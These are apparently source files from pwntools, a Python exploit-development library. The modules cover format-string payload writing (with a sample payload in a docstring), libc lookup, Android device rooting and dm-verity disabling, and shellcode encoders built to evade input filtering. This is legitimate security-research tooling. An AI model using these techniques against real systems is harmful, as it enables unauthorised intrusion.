        fmtstr += fmtstr_payload(self.offset, self.writes, numbwritten=self.padlen, write_size='byte')
        self.execute_fmt(fmtstr)
        self.writes = {}

    def write(self, addr, data):
        r"""write(addr, data) -> None

        In order to tell : I want to write ``data`` at ``addr``.

        Arguments:
            addr(int): the address where you want to write
            data(int): the data that you want to write ``addr``

        Returns:
            None

        Examples:

            >>> def send_fmt_payload(payload):
            ...     print repr(payload)
            ...
            >>> f = FmtStr(send_fmt_payload, offset=5)
            >>> f.write(0x08040506, 0x1337babe)
            >>> f.execute_writes()
            '\x06\x05\x04\x08\x07\x05\x04\x08\x08\x05\x04\x08\t\x05\x04\x08%174c%5$hhn%252c%6$hhn%125c%7$hhn%220c%8$hhn'

        """
        self.writes[addr] = data






"""
Fetch a LIBC binary based on some heuristics.
"""
import codecs
import json
import os
import tempfile
import urlparse

from .context import context
from .elf import ELF
from .log import getLogger
from .util.fiddling import b64d
from .util.fiddling import hexdump
from .util.misc import read
from .util.misc import write
from .util.safeeval import const
from .util.web import wget

log = getLogger(__name__)

cache_dir = os.path.join(tempfile.gettempdir(), 'pwn')

def search_by_build_id(hex_encoded_id):
    """
    Given a hex-encoded Build ID, return the path to an ELF with that Build ID
    only the local system.

    If it can't be found, return None.

    Arguments:
        hex_encoded_id(str):
            Hex-encoded Build ID (e.g. 'ABCDEF...') of the library

    Returns:
        Path to the downloaded library on disk, or ``None``.
    """
    cache = cache_dir + '-libc.so.' + hex_encoded_id

    if os.path.exists(cache) and read(cache).startswith('\x7FELF'):
        log.info_once("Using cached data from %r" % cache)
        return cache

    log.info("Downloading data from GitHub")

    url_base = "https://gitlab.com/libcdb/libcdb/raw/master/hashes/build_id/"
    url      = urlparse.urljoin(url_base, hex_encoded_id)

    data   = ""
    while not data.startswith('\x7fELF'):
        data = wget(url)

        if not data:
            return None

        if data.startswith('..'):
            url = os.path.dirname(url) + '/'
            url = urlparse.urljoin(url, data)

    write(cache, data)
    return cache

def get_build_id_offsets():
    """
    Returns a list of file offsets where the Build ID should reside within
    an ELF file of the currentlys-elected architecture.
    """
    # Given the corpus of almost all libc to have been released with
    # RedHat, Fedora, Ubuntu, Debian, etc. over the past several years,
    # we can say with 99% certainty that the GNU Build ID section will
    # be at one of the specified addresses.
    #
    # The point here is to get an easy win by reading less DWORDs than would
    # have otherwise been required to walk the section table and the string
    # stable.
    #
    # function check_arch() {
    # readelf -n $(file -L * | grep -i "$1" | cut -d ':' -f 1) \
    #       | grep -B3 BUILD_ID \
    #       | grep offset \
    #       | sort \
    #       | uniq -c
    # }

    return {
    # $ check_arch 80386
    #     181 Displaying notes found at file offset 0x00000174 with length 0x00000024:
        'i386': [0x174],
    # $ check_arch "ARM, EABI5"
    #      69 Displaying notes found at file offset 0x00000174 with length 0x00000024:
        'arm':  [0x174],
        'thumb':  [0x174],
    # $ check_arch "ARM aarch64"
    #       1 Displaying notes found at file offset 0x00000238 with length 0x00000024:
        'aarch64': [0x238],
    # $ check_arch "x86-64"
    #       6 Displaying notes found at file offset 0x00000174 with length 0x00000024:
    #      82 Displaying notes found at file offset 0x00000270 with length 0x00000024:
        'amd64': [0x270, 0x174],
    # $ check_arch "PowerPC or cisco"
    #      88 Displaying notes found at file offset 0x00000174 with length 0x00000024:
        'powerpc': [0x174],
    # $ check_arch "64-bit PowerPC"
    #      30 Displaying notes found at file offset 0x00000238 with length 0x00000024:
        'powerpc64': [0x238],
    # $ check_arch "SPARC32"
    #      32 Displaying notes found at file offset 0x00000174 with length 0x00000024:
        'sparc': [0x174],
    # $ check_arch "SPARC V9"
    #      33 Displaying notes found at file offset 0x00000270 with length 0x00000024:
        'sparc64': [0x270]
    }.get(context.arch, [])


__all__ = ['get_build_id_offsets', 'search_by_build_id']






#
# Override the behavior of the built-in hex() method
# to strip the trailing 'L'.
#
# This has no meaning anymore, as of 2006.
#
# https://www.python.org/dev/peps/pep-0237/
# https://mail.python.org/pipermail/python-dev/2006-June/065918.html
#
import __builtin__

original_hex = __builtin__.hex

def hex(number):
    original_hex.__doc__
    return original_hex(number).rstrip('L')

__builtin__.hex = hex






"""Provides utilities for interacting with Android devices via the Android Debug Bridge.
"""
import glob
import os
import platform
import re
import shutil
import tempfile
import time

import dateutil.parser

from . import atexit
from . import tubes
from .context import context
from .context import LocalContext
from .device import Device
from .log import getLogger
from .util import misc

log = getLogger(__name__)

def adb(argv, *a, **kw):
    """Returns the output of an ADB subcommand."""
    if isinstance(argv, (str, unicode)):
        argv = [argv]

    log.debug("$ " + ' '.join(context.adb + argv))

    return tubes.process.process(context.adb + argv, *a, **kw).recvall()

def root():
    """Restarts adbd as root."""
    log.info("Enabling root on %s" % context.device)

    with context.quiet:
        reply  = adb('root')

    if 'already running as root' in reply:
        return

    elif not reply or 'restarting adbd as root' in reply:
        with context.quiet:
            wait_for_device()

    else:
        log.error("Could not run as root:\n%s" % reply)


def reboot(wait=True):
    """Reboots the device."""
    log.info('Rebooting device %s' % context.device)

    with context.quiet:
        adb('reboot')

    if wait:
        wait_for_device()

def reboot_bootloader():
    """Reboots the device to the bootloader."""
    log.info('Rebooting %s to bootloader' % context.device)

    with context.quiet:
        adb('reboot-bootloader')

class AdbDevice(Device):
    """Encapsulates information about a connected device."""
    def __init__(self, serial, type, port, product='unknown', model='unknown', device='unknown'):
        self.serial  = serial
        self.type    = type
        self.port    = port
        self.product = product
        self.model   = model.replace('_', ' ')
        self.device  = device

        if product == 'unknown':
            return

        with context.local(device=serial):
            abi = str(properties.ro.product.cpu.abi)
            context.clear()
            context.arch = str(abi)
            self.arch = context.arch
            self.bits = context.bits
            self.endian = context.endian

    def __str__(self):
        return self.serial

    def __repr__(self):
        fields = ['serial', 'type', 'port', 'product', 'model', 'device']
        return '%s(%s)' % (self.__class__.__name__,
                           ', '.join(('%s=%r' % (field, getattr(self, field)) for field in fields)))

    @staticmethod
    def from_adb_output(line):
        fields = line.split()

        """
        Example output:
        ZX1G22LM7G             device usb:336789504X product:shamu model:Nexus_6 device:shamu features:cmd,shell_v2
        84B5T15A29020449       device usb:336855040X product:angler model:Nexus_6P device:angler
        0062741b0e54b353       unauthorized usb:337641472X
        """

        # The last few fields need to be split at colons.
        split  = lambda x: x.split(':')[-1]
        fields[3:] = list(map(split, fields[3:]))

        return AdbDevice(*fields[:6])

@context.quiet
def devices(serial=None):
    """Returns a list of ``Device`` objects corresponding to the connected devices."""
    lines = adb(['devices', '-l'])
    result = []

    for line in lines.splitlines():
        # Skip the first 'List of devices attached' line, and the final empty line.
        if 'List of devices' in line or not line.strip():
            continue
        device = AdbDevice.from_adb_output(line)
        if device.serial == serial:
            return device
        result.append(device)

    return tuple(result)

@LocalContext
def wait_for_device(kick=False):
    """Waits for a device to be connected."""
    with log.waitfor("Waiting for device to come online") as w:
        with context.quiet:
            if kick:
                try:
                    adb(['reconnect'])
                except Exception:
                    pass
            adb('wait-for-device')

        for device in devices():
            if context.device == device:
                return device
            break
        else:
            log.error("Could not find any devices")

        with context.local(device=device):
            # There may be multiple devices, so context.device is
            # insufficient.  Pick the first device reported.
            w.success('%s (%s %s %s)' % (device,
                                         product(),
                                         build(),
                                         _build_date()))

            return context.device

def disable_verity():
    """Disables dm-verity on the device."""
    with log.waitfor("Disabling dm-verity on %s" % context.device) as w:
        root()

        with context.quiet:
            reply = adb('disable-verity')

        if 'Verity already disabled' in reply:
            return
        elif 'Now reboot your device' in reply:
            reboot(wait=True)
        else:
            log.error("Could not disable verity:\n%s" % reply)


def remount():
    """Remounts the filesystem as writable."""
    with log.waitfor("Remounting filesystem on %s" % context.device) as w:
        disable_verity()
        root()

        with context.quiet:
            reply = adb('remount')

        if 'remount succeeded' not in reply:
            log.error("Could not remount filesystem:\n%s" % reply)

def unroot():
    """Restarts adbd as AID_SHELL."""
    log.info("Unrooting %s" % context.device)
    with context.quiet:
        reply  = adb('unroot')

    if 'restarting adbd as non root' not in reply:
        log.error("Could not run as root:\n%s" % reply)

def pull(remote_path, local_path=None):
    """Download a file from the device.

    Arguments:
        remote_path(str): Path or directory of the file on the device.
        local_path(str): Path to save the file to.
            Uses the file's name by default.
    """
    if local_path is None:
        local_path = os.path.basename(remote_path)

    msg = "Pulling %r from %r" % (remote_path, local_path)

    if context.log_level == 'debug':
        msg += ' (%s)' % context.device

    result = ''
    with log.waitfor(msg) as w:
        with context.quiet:
            args = context.adb + ['pull', remote_path, local_path]
            io = tubes.process.process(args)
            result = io.recvall()

            if 0 != io.poll(block=True):
                log.error(result)

    return result

def push(local_path, remote_path):
    """Upload a file to the device.

    Arguments:
        local_path(str): Path to the local file to push.
        remote_path(str): Path or directory to store the file on the device.
    """
    msg = "Pushing %r to %r" % (local_path, remote_path)

    if context.log_level == 'debug':
        msg += ' (%s)' % context.device

    with log.waitfor(msg) as w:
        with context.quiet:
            args = context.adb + ['push', local_path, remote_path]
            io = tubes.process.process(args)
            result = io.recvall()

            if 0 != io.poll(block=True):
                log.error(result)

    return result

@context.quiet
def read(path, target=None):
    """Download a file from the device, and extract its contents.

    Arguments:
        path(str): Path to the file on the device.
        target(str): Optional, location to store the file.
            Uses a temporary file by default.
    """
    with tempfile.NamedTemporaryFile() as temp:
        target = target or temp.name
        pull(path, target)
        result = misc.read(target)
    return result

@context.quiet
def write(path, data=''):
    """Create a file on the device with the provided contents.

    Arguments:
        path(str): Path to the file on the device
        data(str): Contents to store in the file
    """
    with tempfile.NamedTemporaryFile() as temp:
        misc.write(temp.name, data)
        push(temp.name, path)

def process(argv, *a, **kw):
    """Execute a process on the device.

    See ``pwnlib.tubes.process.process`` documentation for more info.

    Returns:
        A ``process`` tube.
    """
    argv = argv or []
    if isinstance(argv, (str, unicode)):
        argv = [argv]

    display = argv
    argv = context.adb + ['shell'] + argv

    kw.setdefault('display', display)
    kw.setdefault('where', 'Android')

    return tubes.process.process(argv, *a, **kw)

def interactive(**kw):
    """Spawns an interactive shell."""
    return shell(**kw).interactive()

def shell(**kw):
    """Returns an interactive shell."""
    return process([], **kw)

@context.quiet
def which(name):
    """Retrieves the full path to a binary in ``PATH`` on the device"""
    return process(['which', name]).recvall().strip()

def whoami():
    return process(['whoami']).recvall().strip()

def forward(port):
    """Sets up a port to forward to the device."""
    tcp_port = 'tcp:%s' % port
    start_forwarding = adb(['forward', tcp_port, tcp_port])
    atexit.register(lambda: adb(['forward', '--remove', tcp_port]))

@context.quiet
def logcat(stream=False):
    """Reads the system log file.

    By default, causes logcat to exit after reading the file.

    Arguments:
        stream(bool): If ``True``, the contents are streamed rather than
            read in a one-shot manner.  Default is ``False``.

    Returns:
        If ``stream`` is ``False``, returns a string containing the log data.
        Otherwise, it returns a ``tube`` connected to the log output.
    """

    if stream:
        return process(['logcat'])
    else:
        return adb(['logcat', '-d'])

def pidof(name):
    """Returns a list of PIDs for the named process."""
    with context.quiet:
        io = process(['pidof', name])
        data = io.recvall().split()
    return list(map(int, data))

def proc_exe(pid):
    """Returns the full path of the executable for the provided PID."""
    with context.quiet:
        io  = process(['readlink','-e','/proc/%d/exe' % pid])
        data = io.recvall().strip()
    return data

def getprop(name=None):
    """Reads a properties from the system property store.

    Arguments:
        name(str): Optional, read a single property.

    Returns:
        If ``name`` is not specified, a ``dict`` of all properties is returned.
        Otherwise, a string is returned with the contents of the named property.
    """
    with context.quiet:
        if name:
            return process(['getprop', name]).recvall().strip()


        result = process(['getprop']).recvall()

    expr = r'\[([^\]]+)\]: \[(.*)\]'

    props = {}

    for line in result.splitlines():
        if not line.startswith('['):
            continue

        name, value = re.search(expr, line).groups()

        if value.isdigit():
            value = int(value)

        props[name] = value

    return props

def setprop(name, value):
    """Writes a property to the system property store."""
    return process(['setprop', name, value]).recvall().strip()

def listdir(directory='/'):
    """Returns a list containing the entries in the provided directory.

    Note:
        Because ``adb shell`` is used to retrieve the listing, shell
        environment variable expansion and globbing are in effect.
    """
    io = process(['find', directory, '-maxdepth', '1', '-print0'])
    data = io.recvall()
    paths = filter(len, data.split('\x00'))
    relpaths = [os.path.relpath(path, directory) for path in paths]
    if '.' in relpaths:
        relpaths.remove('.')
    return relpaths

def fastboot(args, *a, **kw):
    """Executes a fastboot command.

    Returns:
        The command output.
    """
    serial = context.device
    if not serial:
        log.error("Unknown device")
    return tubes.process.process(['fastboot', '-s', serial] + list(args), **kw).recvall()

def fingerprint():
    """Returns the device build fingerprint."""
    return str(properties.ro.build.fingerprint)

def product():
    """Returns the device product identifier."""
    return str(properties.ro.build.product)

def build():
    """Returns the Build ID of the device."""
    return str(properties.ro.build.id)

def unlock_bootloader():
    """Unlocks the bootloader of the device.

    Note:
        This requires physical interaction with the device.
    """
    adb(['reboot-bootloader'])
    fastboot(['oem', 'unlock'])
    fastboot(['continue'])

class Kernel(object):
    _kallsyms = None

    @property
    def address(self):
        return self.symbols['_text']

    @property
    @context.quiet
    def symbols(self):
        """Returns a dictionary of kernel symbols"""
        result = {}
        for line in self.kallsyms.splitlines():
            fields = line.split()
            address = int(fields[0], 16)
            name    = fields[-1]
            result[name] = address
        return result

    @property
    @context.quiet
    def kallsyms(self):
        """Returns the raw output of kallsyms"""
        if not self._kallsyms:
            self._kallsyms = {}
            root()
            write('/proc/sys/kernel/kptr_restrict', '1')
            self._kallsyms = read('/proc/kallsyms')
        return self._kallsyms

    @property
    @context.quiet
    def version(self):
        """Returns the kernel version of the device."""
        root()
        return read('/proc/version').strip()

    @property
    @context.quiet
    def cmdline(self):
        root()
        return read('/proc/cmdline').strip()

    @property
    @context.quiet
    def lastmsg(self):
        root()
        if 'last_kmsg' in listdir('/proc'):
            return read('/proc/last_kmsg')

        if 'console-ramoops' in listdir('/sys/fs/pstore/'):
            return read('/sys/fs/pstore/console-ramoops')

    def enable_uart(self):
        """Reboots the device with kernel logging to the UART enabled."""
        model = str(properties.ro.product.model)

        known_commands = {
            'Nexus 4': None,
            'Nexus 5': None,
            'Nexus 6': 'oem config console enable',
            'Nexus 5X': None,
            'Nexus 6P': 'oem uart enable',
            'Nexus 7': 'oem uart-on',
        }

        with log.waitfor('Enabling kernel UART') as w:

            if model not in known_commands:
                log.error("Device UART is unsupported.")

            command = known_commands[model]

            if command is None:
                w.success('Always enabled')
                return

            # Check the current commandline, it may already be enabled.
            if any(s.startswith('console=tty') for s in self.cmdline.split()):
                w.success("Already enabled")
                return

            # Need to be root
            with context.local(device=context.device):
                # Save off the command line before rebooting to the bootloader
                cmdline = kernel.cmdline

                reboot_bootloader()

                # Wait for device to come online
                while context.device not in fastboot(['devices',' -l']):
                    time.sleep(0.5)

                # Try the 'new' way
                fastboot(command.split())
                fastboot(['continue'])
                wait_for_device()


kernel = Kernel()

class Property(object):
    def __init__(self, name=None):
        self.__dict__['_name'] = name

    def __str__(self):
        return getprop(self._name).strip()

    def __repr__(self):
        return repr(str(self))

    def __getattr__(self, attr):
        if self._name:
            attr = '%s.%s' % (self._name, attr)
        return Property(attr)

    def __setattr__(self, attr, value):
        if attr in self.__dict__:
            return super(Property, self).__setattr__(attr, value)

        if self._name:
            attr = '%s.%s' % (self._name, attr)
        setprop(attr, value)

properties = Property()

def _build_date():
    """Returns the build date in the form YYYY-MM-DD as a string"""
    as_string = getprop('ro.build.date')
    as_datetime =  dateutil.parser.parse(as_string)
    return as_datetime.strftime('%Y-%b-%d')

def find_ndk_project_root(source):
    '''Given a directory path, find the topmost project root.

    tl;dr "foo/bar/jni/baz.cpp" ==> "foo/bar"
    '''
    ndk_directory = os.path.abspath(source)
    while ndk_directory != '/':
        if os.path.exists(os.path.join(ndk_directory, 'jni')):
            break
        ndk_directory = os.path.dirname(ndk_directory)
    else:
        return None

    return ndk_directory

_android_mk_template = '''
LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)
LOCAL_MODULE := poc
LOCAL_SRC_FILES := %(local_src_files)s

include $(BUILD_EXECUTABLE)
'''.lstrip()

_application_mk_template = '''
LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)
APP_ABI:= %(app_abi)s
APP_PLATFORM:=%(app_platform)s
'''.lstrip()

def _generate_ndk_project(file_list, abi='arm-v7a', platform_version=21):
    # Create our project root
    root = tempfile.mkdtemp()

    if not isinstance(file_list, (list, tuple)):
        file_list = [file_list]

    # Copy over the source file(s)
    jni_directory = os.path.join(root, 'jni')
    os.mkdir(jni_directory)
    for file in file_list:
        shutil.copy(file, jni_directory)

    # Create the directories

    # Populate Android.mk
    local_src_files = ' '.join(list(map(os.path.basename, file_list)))
    Android_mk = os.path.join(jni_directory, 'Android.mk')
    with open(Android_mk, 'w+') as f:
        f.write(_android_mk_template % locals())

    # Populate Application.mk
    app_abi = abi
    app_platform = 'android-%s' % platform_version
    Application_mk = os.path.join(jni_directory, 'Application.mk')
    with open(Application_mk, 'w+') as f:
        f.write(_application_mk_template % locals())

    return root

def compile(source):
    """Compile a source file or project with the Android NDK."""

    # Ensure that we can find the NDK.
    ndk = os.environ.get('NDK', None)
    if ndk is None:
        log.error('$NDK must be set to the Android NDK directory')
    ndk_build = os.path.join(ndk, 'ndk-build')

    # Determine whether the source is an NDK project or a single source file.
    project = find_ndk_project_root(source)

    if not project:
        project = _generate_ndk_project(source,
                                        str(properties.ro.product.cpu.abi),
                                        str(properties.ro.build.version.sdk))

    # Remove any output files
    lib = os.path.join(project, 'libs')
    if os.path.exists(lib):
        shutil.rmtree(lib)

    # Build the project
    io = tubes.process.process(ndk_build, cwd=os.path.join(project, 'jni'))

    result = io.recvall()

    if 0 != io.poll():
        log.error("Build failed:\n%s" % result)

    # Find all of the output files
    output = glob.glob(os.path.join(lib, '*', '*'))

    return output[0]

class Partition(object):
    def __init__(self, path, name, blocks=0):
        self.path = path
        self.name = name
        self.blocks = blocks
        self.size = blocks * 1024

    @property
    def data(self):
        with log.waitfor('Fetching %r partition (%s)' % (self.name, self.path)):
            return read(self.path)

class Partitions(object):
    @property
    @context.quiet
    def by_name_dir(self):
        cmd = ['shell','find /dev/block/platform -type d -name by-name']
        return adb(cmd).strip()

    @context.quiet
    def __dir__(self):
        return list(self)

    @context.quiet
    def __iter__(self):
        root()

        # Find all named partitions
        for name in listdir(self.by_name_dir):
            yield name

    @context.quiet
    def __getattr__(self, attr):
        for name in self:
            if name == attr:
                break
        else:
            raise AttributeError("No partition %r" % attr)

        path = os.path.join(self.by_name_dir, name)

        # Find the actual path of the device
        devpath = process(['readlink', '-n', path]).recvall()
        devname = os.path.basename(devpath)

        # Get the size of the partition
        for line in read('/proc/partitions').splitlines():
            if not line.strip():
                continue
            major, minor, blocks, name = line.split(None, 4)
            if devname == name:
                break
        else:
            log.error("Could not find size of partition %r" % name)

        return Partition(devpath, attr, int(blocks))

partitions = Partitions()






"""
Analogous to atexit, this module allows the programmer to register functions to
be run if an unhandled exception occurs.
"""

import sys
import threading
import traceback

from .context import context

__all__ = ['register', 'unregister']

_lock = threading.Lock()
_ident = 0
_handlers = {}

def register(func, *args, **kwargs):
    """register(func, *args, **kwargs)

    Registers a function to be called when an unhandled exception occurs.  The
    function will be called with positional arguments `args` and keyword
    arguments `kwargs`, i.e. ``func(*args, **kwargs)``.  The current `context`
    is recorded and will be the one used when the handler is run.

    E.g. to suppress logging output from an exception-handler one could write::

      with context.local(log_level = 'error'):
        atexception.register(handler)

    An identifier is returned which can be used to unregister the
    exception-handler.

    This function can be used as a decorator::

      @atexception.register
      def handler():
        ...

    Notice however that this will bind ``handler`` to the identifier and not the
    actual exception-handler.  The exception-handler can then be unregistered
    with::

      atexception.unregister(handler)

    This function is thread safe.

    """
    global _ident
    with _lock:
        ident = _ident
        _ident += 1
    _handlers[ident] = (func, args, kwargs, vars(context))
    return ident

def unregister(func):
    """unregister(func)

    Remove `func` from the collection of registered functions.  If `func` isn't
    registered this is a no-op.
    """
    if func in _handlers:
        del _handlers[func]

def _run_handlers():
    """_run_handlers()

    Run registered handlers.  They run in the reverse order of which they were
    registered.

    If a handler raises an exception, it will be printed but nothing else
    happens, i.e. other handlers will be run.
    """
    for _ident, (func, args, kwargs, ctx) in \
        sorted(_handlers.items(), reverse = True):
        try:
            with context.local():
                context.clear()
                context.update(**ctx)
                func(*args, **kwargs)
        except SystemExit:
            pass
        except Exception:
            # extract the current exception and rewind the traceback to where it
            # originated
            typ, val, tb = sys.exc_info()
            traceback.print_exception(typ, val, tb.tb_next)

# we rely on the existing excepthook to print exceptions
_oldhook = getattr(sys, 'excepthook', None)

def _newhook(typ, val, tb):
    """_newhook(typ, val, tb)

    Our excepthook replacement.  First the original hook is called to print the
    exception, then each handler is called.
    """
    if _oldhook:
        _oldhook(typ, val, tb)
    if _run_handlers:
        _run_handlers()

sys.excepthook = _newhook






__all__ = ['PwnlibException']
import sys
import traceback


class PwnlibException(Exception):
    '''Exception thrown by :func:`pwnlib.log.error`.

    Pwnlib functions that encounters unrecoverable errors should call the
    :func:`pwnlib.log.error` function instead of throwing this exception directly.'''
    def __init__(self, msg, reason = None, exit_code = None):
        '''bar'''
        Exception.__init__(self, msg)
        self.reason = reason
        self.exit_code = exit_code

    def __repr__(self):
        s = 'PwnlibException: %s' % self.message
        if self.reason:
            s += '\nReason:\n'
            s += ''.join(traceback.format_exception(*self.reason))
        elif sys.exc_type not in [None, KeyboardInterrupt]:
            s += '\n'
            s += ''.join(traceback.format_exc())
        return s






"""
Database of >22,000 user agent strings
"""
__all__ = ['getall', 'random']

import os
import random as randommod

_cache = None

def _load():
    global _cache
    if _cache is None:
        _cache = set()
        with open(os.path.join(os.path.dirname(__file__),
                               'data/useragents/useragents.txt'
                               ), 'r') as fd:
            for line in fd:
                if line:
                    _cache.add(line.strip())
    return _cache

def getall():
    """getall() -> str set

    Get all the user agents that we know about.

    Arguments:
        None

    Returns:
        A set of user agent strings.

    Examples:
        >>> 'libcurl-agent/1.0' in getall()
        True
        >>> 'wget' in getall()
        True
    """
    return _load().copy()

def random():
    """random() -> str

    Get a random user agent string.

    Arguments:
        None

    Returns:
        A random user agent string selected from :func:`getall`.

    >>> import random as randommod
    >>> randommod.seed(1)
    >>> random()
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; FunWebProducts-MyTotalSearch; iebar)'
    """
    return randommod.choice(list(_load()))






import time
import types

from . import term
from .log import getLogger

log = getLogger(__name__)

def yesno(prompt, default = None):
    """Presents the user with prompt (typically in the form of question) which
    the user must answer yes or no.

    Arguments:
      prompt (str): The prompt to show
      default: The default option;  `True` means "yes"

    Returns:
      `True` if the answer was "yes", `False` if "no"
"""

    if not isinstance(default, (bool, types.NoneType)):
        raise ValueError('yesno(): default must be a boolean or None')

    if term.term_mode:
        term.output(' [?] %s [' % prompt)
        yesfocus, yes = term.text.bold('Yes'), 'yes'
        nofocus, no = term.text.bold('No'), 'no'
        hy = term.output(yesfocus if default == True else yes)
        term.output('/')
        hn = term.output(nofocus if default == False else no)
        term.output(']\n')
        cur = default
        while True:
            k = term.key.get()
            if   k in ('y', 'Y', '<left>') and cur != True:
                cur = True
                hy.update(yesfocus)
                hn.update(no)
            elif k in ('n', 'N', '<right>') and cur != False:
                cur = False
                hy.update(yes)
                hn.update(nofocus)
            elif k == '<enter>':
                if cur is not None:
                    return cur
    else:
        prompt = ' [?] %s [%s/%s] ' % (prompt,
                                       'Yes' if default == True else 'yes',
                                       'No' if default == False else 'no',
                                       )
        while True:
            opt = raw_input(prompt).lower()
            if opt == '' and default != None:
                return default
            elif opt in ('y','yes'):
                return True
            elif opt in ('n', 'no'):
                return False
            print 'Please answer yes or no'

def options(prompt, opts, default = None):
    """Presents the user with a prompt (typically in the
    form of a question) and a number of options.

    Arguments:
      prompt (str): The prompt to show
      opts (list): The options to show to the user
      default: The default option to choose

    Returns:
      The users choice in the form of an integer.
"""

    if not isinstance(default, (int, long, types.NoneType)):
        raise ValueError('options(): default must be a number or None')

    if term.term_mode:
        numfmt = '%' + str(len(str(len(opts)))) + 'd) '
        print ' [?] ' + prompt
        hs = []
        space = '       '
        arrow = term.text.bold_green('    => ')
        cur = default
        for i, opt in enumerate(opts):
            h = term.output(arrow if i == cur else space, frozen = False)
            num = numfmt % (i + 1)
            term.output(num)
            term.output(opt + '\n', indent = len(num) + len(space))
            hs.append(h)
        ds = ''
        prev = 0
        while True:
            prev = cur
            was_digit = False
            k = term.key.get()
            if   k == '<up>':
                if cur is None:
                    cur = 0
                else:
                    cur = max(0, cur - 1)
            elif k == '<down>':
                if cur is None:
                    cur = 0
                else:
                    cur = min(len(opts) - 1, cur + 1)
            elif k == 'C-<up>':
                cur = 0
            elif k == 'C-<down>':
                cur = len(opts) - 1
            elif k in ('<enter>', '<right>'):
                if cur is not None:
                    return cur
            elif k in tuple('1234567890'):
                was_digit = True
                d = str(k)
                n = int(ds + d)
                if n > 0 and n <= len(opts):
                    ds += d
                elif d != '0':
                    ds = d
                n = int(ds)
                cur = n - 1

            if prev != cur:
                if prev is not None:
                    hs[prev].update(space)
                if was_digit:
                    hs[cur].update(term.text.bold_green('%5s> ' % ds))
                else:
                    hs[cur].update(arrow)
    else:
        linefmt =       '       %' + str(len(str(len(opts)))) + 'd) %s'
        while True:
            print ' [?] ' + prompt
            for i, opt in enumerate(opts):
                print linefmt % (i + 1, opt)
            s = '     Choice '
            if default:
                s += '[%s] ' % str(default)
            try:
                x = int(raw_input(s) or default)
            except (ValueError, TypeError):
                continue
            if x >= 1 and x <= len(opts):
                return x

def pause(n = None):
    """Waits for either user input or a specific number of seconds."""

    if n == None:
        if term.term_mode:
            log.info('Paused (press any to continue)')
            term.getkey()
        else:
            log.info('Paused (press enter to continue)')
            raw_input('')
    elif isinstance(n, (int, long)):
        with log.waitfor("Waiting") as l:
            for i in range(n, 0, -1):
                l.status('%d... ' % i)
                time.sleep(1)
            l.success()
    else:
        raise ValueError('pause(): n must be a number or None')

def more(text):
    """more(text)

    Shows text like the command line tool ``more``.

    It not in term_mode, just prints the data to the screen.

    Arguments:
      text(str):  The text to show.

    Returns:
      :const:`None`
    """
    if term.term_mode:
        lines = text.split('\n')
        h = term.output(term.text.reverse('(more)'), float = True, frozen = False)
        step = term.height - 1
        for i in range(0, len(lines), step):
            for l in lines[i:i + step]:
                print l
            if i + step < len(lines):
                term.key.get()
        h.delete()
    else:
        print text






# -*- coding:utf-8 -*-
"""
Encode shellcode to avoid input filtering and impress your friends!
"""
from . import amd64
from . import arm
from . import i386
from . import mips
from .encoder import Encoder
from .encoder import alphanumeric
from .encoder import encode
from .encoder import line
from .encoder import null
from .encoder import printable
from .encoder import scramble






# -*- coding: utf-8 -*-
import collections
import random
import re
import string

from ..context import LocalContext
from ..context import context
from ..log import getLogger
from ..util.fiddling import hexdump

log = getLogger(__name__)

class Encoder(object):
    _encoders = collections.defaultdict(lambda: [])

    #: Architecture which this encoder works on
    arch = None

    #: Blacklist of bytes which are known not to be supported
    blacklist = set()

    def __init__(self):
        """Shellcode encoder class

        Implements an architecture-specific shellcode encoder
        """
        Encoder._encoders[self.arch].append(self)

    def __call__(self, raw_bytes, avoid, pcreg):
        """avoid(raw_bytes, avoid)

        Arguments:
            raw_bytes(str):
                String of bytes to encode
            avoid(set):
                Set of bytes to avoid
            pcreg(str):
                Register which contains the address of the shellcode.
                May be necessary for some shellcode.
        """
        raise NotImplementedError()


@LocalContext
def encode(raw_bytes, avoid=None, expr=None, force=0, pcreg=''):
    """encode(raw_bytes, avoid, expr, force) -> str

    Encode shellcode ``raw_bytes`` such that it does not contain
    any bytes in ``avoid`` or ``expr``.

    Arguments:

        raw_bytes(str): Sequence of shellcode bytes to encode.
        avoid(str):     Bytes to avoid
        expr(str):      Regular expression which matches bad characters.
        force(bool):    Force re-encoding of the shellcode, even if it
                        doesn't contain any bytes in ``avoid``.
    """
    orig_avoid = avoid

    avoid = set(avoid or '')

    if expr:
        for char in all_chars:
            if re.search(expr, char):
                avoid.add(char)

    if not (force or avoid & set(raw_bytes)):
        return raw_bytes

    encoders = Encoder._encoders[context.arch]
    random.shuffle(encoders)

    for encoder in encoders:
        if encoder.blacklist & avoid:
            continue

        try:
            v = encoder(raw_bytes, avoid, pcreg)
        except NotImplementedError:
            continue

        if avoid & set(v):
            log.warning_once("Encoder %s did not succeed" % encoder)
            continue

        return v


    avoid_errmsg = ''
    if orig_avoid and expr:
        avoid_errmsg = '%r and %r' % (orig_avoid, expr)
    elif expr:
        avoid_errmsg = repr(expr)
    else:
        avoid_errmsg = ''.join(avoid)

    args = (context.arch, avoid_errmsg, hexdump(raw_bytes))
    msg = "No encoders for %s which can avoid %s for\n%s" % args
    msg = msg.replace('%', '%%')
    log.error(msg)

all_chars        = list(chr(i) for i in range(256))
re_alphanumeric  = r'[^A-Za-z0-9]'
re_printable     = r'[^\x21-\x7e]'
re_whitespace    = r'\s'
re_null          = r'\x00'
re_line          = r'[\s\x00]'

@LocalContext
def null(raw_bytes, *a, **kw):
    """null(raw_bytes) -> str

    Encode the shellcode ``raw_bytes`` such that it does not
    contain any NULL bytes.

    Accepts the same arguments as :func:`encode`.
    """
    return encode(raw_bytes, expr=re_null, *a, **kw)

@LocalContext
def line(raw_bytes, *a, **kw):
    """line(raw_bytes) -> str

    Encode the shellcode ``raw_bytes`` such that it does not
    contain any NULL bytes or whitespace.

    Accepts the same arguments as :func:`encode`.
    """
    return encode(raw_bytes, expr=re_whitespace, *a, **kw)

@LocalContext
def alphanumeric(raw_bytes, *a, **kw):
    """alphanumeric(raw_bytes) -> str

    Encode the shellcode ``raw_bytes`` such that it does not
    contain any bytes except for [A-Za-z0-9].

    Accepts the same arguments as :func:`encode`.
    """
    return encode(raw_bytes, expr=re_alphanumeric, *a, **kw)

@LocalContext
def printable(raw_bytes, *a, **kw):
    """printable(raw_bytes) -> str

    Encode the shellcode ``raw_bytes`` such that it only contains
    non-space printable bytes.

    Accepts the same arguments as :func:`encode`.
    """
